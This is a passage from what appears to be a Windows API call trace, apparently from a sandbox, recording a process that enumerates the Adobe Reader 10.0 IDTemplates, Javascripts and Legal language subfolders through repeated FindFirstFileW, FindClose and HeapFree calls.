hFindFile=0x6398c8) returned 1 [0212.141] GetProcessHeap () returned 0x550000 [0212.141] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0212.141] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0212.623] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0212.624] GetProcessHeap () returned 0x550000 [0212.624] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0212.624] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0212.624] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0212.624] GetProcessHeap () returned 0x550000 [0212.624] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0212.624] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0212.698] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0212.698] GetProcessHeap () returned 0x550000 [0212.698] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0212.698] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0212.826] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0212.827] GetProcessHeap () returned 0x550000 [0212.827] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0212.827] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0212.827] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0212.828] GetProcessHeap () returned 0x550000 [0212.828] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0212.828] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80600540, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0212.835] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0212.835] GetProcessHeap () returned 0x550000 [0212.835] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0212.836] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809de900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0213.591] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0213.591] GetProcessHeap () returned 0x550000 [0213.591] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0213.591] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x809de900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0213.592] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0213.592] GetProcessHeap () returned 0x550000 [0213.592] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0213.593] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0213.593] GetProcessHeap () returned 0x550000 [0213.593] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0213.593] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0213.594] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0213.594] GetProcessHeap () returned 0x550000 [0213.594] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0213.594] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0213.694] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0213.762] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0213.763] GetProcessHeap () returned 0x550000 [0213.763] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0213.763] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0213.808] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0213.808] GetProcessHeap () returned 0x550000 [0213.808] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0213.808] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0214.993] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0214.993] GetProcessHeap () returned 0x550000 [0214.993] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0214.993] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0214.995] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0214.995] GetProcessHeap () returned 0x550000 [0214.995] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0214.995] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0215.118] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0215.119] GetProcessHeap () returned 0x550000 [0215.119] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0215.119] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0215.119] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0215.119] GetProcessHeap () returned 0x550000 [0215.119] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0215.119] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0215.559] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0215.559] GetProcessHeap () returned 0x550000 [0215.559] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0215.559] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0215.678] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0215.678] GetProcessHeap () returned 0x550000 [0215.678] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0215.678] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0215.678] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0215.679] GetProcessHeap () returned 0x550000 [0215.679] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0215.679] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0215.803] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0215.806] GetProcessHeap () returned 0x550000 [0215.806] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0215.806] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0215.837] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0215.838] GetProcessHeap () returned 0x550000 [0215.838] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0215.838] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81cc37a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0215.838] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0215.838] GetProcessHeap () returned 0x550000 [0215.838] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0215.838] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0216.066] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0216.067] GetProcessHeap () returned 0x550000 [0216.067] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0216.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0217.445] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0217.446] GetProcessHeap () returned 0x550000 [0217.446] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0217.446] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0217.451] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0217.451] GetProcessHeap () returned 0x550000 [0217.451] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0217.451] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0217.452] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0217.452] GetProcessHeap () returned 0x550000 [0217.452] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0217.453] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0217.453] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0217.453] GetProcessHeap () returned 0x550000 [0217.453] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0217.453] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0217.454] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0217.454] GetProcessHeap () returned 0x550000 [0217.454] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0217.454] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0217.713] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0217.714] GetProcessHeap () returned 0x550000 [0217.714] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0217.714] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0217.765] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, 